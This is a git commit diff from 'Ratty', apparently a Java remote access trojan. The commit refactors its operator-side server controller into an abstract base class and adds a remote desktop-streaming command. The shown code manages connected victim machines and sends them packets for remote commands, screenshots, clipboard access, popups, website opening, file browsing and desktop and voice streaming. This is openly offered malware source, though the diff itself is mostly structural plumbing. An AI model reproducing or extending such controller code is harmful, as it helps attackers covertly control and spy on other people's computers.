Browse Source

Small changes

Structure changes
master
Sogomn 9 years ago
parent
commit
60a96fc85e
  1. 96
      Ratty/src/de/sogomn/rat/server/AbstractRattyController.java
  2. 12
      Ratty/src/de/sogomn/rat/server/ServerClient.java
  3. 3
      Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
  4. 87
      Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
  5. 2
      Ratty/src/de/sogomn/rat/server/gui/ServerClientTableModel.java

96
Ratty/src/de/sogomn/rat/server/AbstractRattyController.java

@ -0,0 +1,96 @@
package de.sogomn.rat.server;
import java.util.ArrayList;
import de.sogomn.rat.ActiveConnection;
import de.sogomn.rat.IConnectionObserver;
import de.sogomn.rat.packet.IPacket;
import de.sogomn.rat.packet.InformationPacket;
public abstract class AbstractRattyController implements IServerObserver, IConnectionObserver {
private ArrayList<ServerClient> clients;
public AbstractRattyController() {
clients = new ArrayList<ServerClient>();
}
protected abstract boolean handlePacket(final ServerClient client, final IPacket packet);
protected void logIn(final ServerClient client, final InformationPacket packet) {
final String name = packet.getName();
final String os = packet.getOs();
final String version = packet.getVersion();
client.logIn(name, os, version);
}
@Override
public void packetReceived(final ActiveConnection connection, final IPacket packet) {
final ServerClient client = getClient(connection);
final boolean loggedIn = client.isLoggedIn();
if (loggedIn) {
final boolean consumed = handlePacket(client, packet);
if (!consumed) {
packet.execute(connection);
}
} else if (packet instanceof InformationPacket) {
final InformationPacket information = (InformationPacket)packet;
logIn(client, information);
}
}
@Override
public void connected(final ActiveServer server, final ActiveConnection connection) {
final ServerClient client = new ServerClient(connection);
final InformationPacket packet = new InformationPacket();
connection.setObserver(this);
connection.start();
connection.addPacket(packet);
clients.add(client);
}
@Override
public void disconnected(final ActiveConnection connection) {
final ServerClient client = getClient(connection);
clients.remove(client);
client.setStreamingDesktop(false);
client.setStreamingVoice(false);
connection.setObserver(null);
connection.close();
}
@Override
public void closed(final ActiveServer server) {
clients.stream().forEach(client -> {
client.connection.setObserver(null);
client.connection.close();
});
clients.clear();
}
public void broadcast(final IPacket packet) {
clients.stream().forEach(client -> {
client.connection.addPacket(packet);
});
}
public final ServerClient getClient(final ActiveConnection connection) {
for (final ServerClient serverClient : clients) {
if (serverClient.connection == connection) {
return serverClient;
}
}
return null;
}
}

12
Ratty/src/de/sogomn/rat/server/gui/ServerClient.java → Ratty/src/de/sogomn/rat/server/ServerClient.java

@ -1,17 +1,19 @@
package de.sogomn.rat.server.gui;
package de.sogomn.rat.server;
import de.sogomn.rat.ActiveConnection; import de.sogomn.rat.ActiveConnection;
import de.sogomn.rat.server.gui.DisplayPanel;
import de.sogomn.rat.server.gui.FileTree;
final class ServerClient {
public final class ServerClient {
private boolean loggedIn; private boolean loggedIn;
private String name, os, version; private String name, os, version;
private boolean streamingDesktop, streamingVoice; private boolean streamingDesktop, streamingVoice;
final ActiveConnection connection;
final DisplayPanel displayPanel;
final FileTree fileTree;
public final ActiveConnection connection;
public final DisplayPanel displayPanel;
public final FileTree fileTree;
public ServerClient(final ActiveConnection connection) { public ServerClient(final ActiveConnection connection) {
this.connection = connection; this.connection = connection;

3
Ratty/src/de/sogomn/rat/server/gui/RattyGui.java

@ -29,6 +29,7 @@ import javax.swing.filechooser.FileNameExtensionFilter;
import de.sogomn.engine.fx.SpriteSheet; import de.sogomn.engine.fx.SpriteSheet;
import de.sogomn.engine.util.AbstractListenerContainer; import de.sogomn.engine.util.AbstractListenerContainer;
import de.sogomn.engine.util.ImageUtils; import de.sogomn.engine.util.ImageUtils;
import de.sogomn.rat.server.ServerClient;
public final class RattyGui extends AbstractListenerContainer<IGuiController> { public final class RattyGui extends AbstractListenerContainer<IGuiController> {
@ -190,7 +191,7 @@ public final class RattyGui extends AbstractListenerContainer<IGuiController> {
} }
public String getInput() { public String getInput() {
final String input = JOptionPane.showInputDialog(frame);
final String input = JOptionPane.showInputDialog(frame, null);
return input; return input;
} }

87
Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

@ -1,31 +1,26 @@
package de.sogomn.rat.server.gui; package de.sogomn.rat.server.gui;
import java.util.ArrayList;
import de.sogomn.rat.ActiveConnection; import de.sogomn.rat.ActiveConnection;
import de.sogomn.rat.IConnectionObserver;
import de.sogomn.rat.packet.ClipboardPacket; import de.sogomn.rat.packet.ClipboardPacket;
import de.sogomn.rat.packet.CommandPacket; import de.sogomn.rat.packet.CommandPacket;
import de.sogomn.rat.packet.DesktopPacket;
import de.sogomn.rat.packet.FreePacket; import de.sogomn.rat.packet.FreePacket;
import de.sogomn.rat.packet.IPacket; import de.sogomn.rat.packet.IPacket;
import de.sogomn.rat.packet.InformationPacket; import de.sogomn.rat.packet.InformationPacket;
import de.sogomn.rat.packet.PopupPacket; import de.sogomn.rat.packet.PopupPacket;
import de.sogomn.rat.packet.ScreenshotPacket; import de.sogomn.rat.packet.ScreenshotPacket;
import de.sogomn.rat.packet.WebsitePacket; import de.sogomn.rat.packet.WebsitePacket;
import de.sogomn.rat.server.AbstractRattyController;
import de.sogomn.rat.server.ActiveServer; import de.sogomn.rat.server.ActiveServer;
import de.sogomn.rat.server.IServerObserver;
import de.sogomn.rat.server.ServerClient;
public final class RattyGuiController implements IServerObserver, IConnectionObserver, IGuiController {
public final class RattyGuiController extends AbstractRattyController implements IGuiController {
private RattyGui gui; private RattyGui gui;
private ArrayList<ServerClient> clients;
public RattyGuiController(final RattyGui gui) { public RattyGuiController(final RattyGui gui) {
this.gui = gui; this.gui = gui;
clients = new ArrayList<ServerClient>();
gui.addListener(this); gui.addListener(this);
} }
@ -71,10 +66,6 @@ public final class RattyGuiController implements IServerObserver, IConnectionObs
return null; return null;
} }
private boolean handlePacket(final ServerClient client, final IPacket packet) {
return false;
}
private void handleCommand(final ServerClient client, final String command) { private void handleCommand(final ServerClient client, final String command) {
//... //...
} }
@ -94,53 +85,29 @@ public final class RattyGuiController implements IServerObserver, IConnectionObs
packet = new ScreenshotPacket(); packet = new ScreenshotPacket();
} else if (command == RattyGui.WEBSITE) { } else if (command == RattyGui.WEBSITE) {
packet = createWebsitePacket(); packet = createWebsitePacket();
} else if (command == RattyGui.DESKTOP) {
packet = new DesktopPacket(true);
} }
return packet; return packet;
} }
@Override
protected boolean handlePacket(final ServerClient client, final IPacket packet) {
return false;
}
/* /*
* ================================================== * ==================================================
* LOGIC
* HANDLING END
* ================================================== * ==================================================
*/ */
private void logIn(final ServerClient client, final InformationPacket packet) {
final String name = packet.getName();
final String os = packet.getOs();
final String version = packet.getVersion();
client.logIn(name, os, version);
gui.addRow(client);
}
@Override @Override
public void packetReceived(final ActiveConnection connection, final IPacket packet) {
final ServerClient client = getClient(connection);
final boolean loggedIn = client.isLoggedIn();
protected void logIn(final ServerClient client, final InformationPacket packet) {
super.logIn(client, packet);
if (loggedIn) {
final boolean consumed = handlePacket(client, packet);
if (!consumed) {
packet.execute(connection);
}
} else if (packet instanceof InformationPacket) {
final InformationPacket information = (InformationPacket)packet;
logIn(client, information);
}
}
@Override
public void connected(final ActiveServer server, final ActiveConnection connection) {
final ServerClient client = new ServerClient(connection);
final InformationPacket packet = new InformationPacket();
connection.setObserver(this);
connection.start();
connection.addPacket(packet);
clients.add(client);
gui.addRow(client);
} }
@Override @Override
@ -148,25 +115,15 @@ public final class RattyGuiController implements IServerObserver, IConnectionObs
final ServerClient client = getClient(connection); final ServerClient client = getClient(connection);
gui.removeRow(client); gui.removeRow(client);
clients.remove(client);
client.setStreamingDesktop(false);
client.setStreamingVoice(false);
connection.setObserver(null);
connection.close();
super.disconnected(connection);
} }
@Override @Override
public void closed(final ActiveServer server) { public void closed(final ActiveServer server) {
gui.removeAllListeners(); gui.removeAllListeners();
clients.stream().forEach(client -> {
client.connection.setObserver(null);
client.connection.close();
});
clients.clear();
super.closed(server);
} }
@Override @Override
@ -181,14 +138,4 @@ public final class RattyGuiController implements IServerObserver, IConnectionObs
} }
} }
public ServerClient getClient(final ActiveConnection connection) {
for (final ServerClient serverClient : clients) {
if (serverClient.connection == connection) {
return serverClient;
}
}
return null;
}
} }

2
Ratty/src/de/sogomn/rat/server/gui/ServerClientTableModel.java

@ -5,6 +5,8 @@ import java.util.function.Function;
import javax.swing.table.AbstractTableModel; import javax.swing.table.AbstractTableModel;
import de.sogomn.rat.server.ServerClient;
final class ServerClientTableModel extends AbstractTableModel { final class ServerClientTableModel extends AbstractTableModel {
private static final long serialVersionUID = 919111102883611810L; private static final long serialVersionUID = 919111102883611810L;

Loading…
Cancel
Save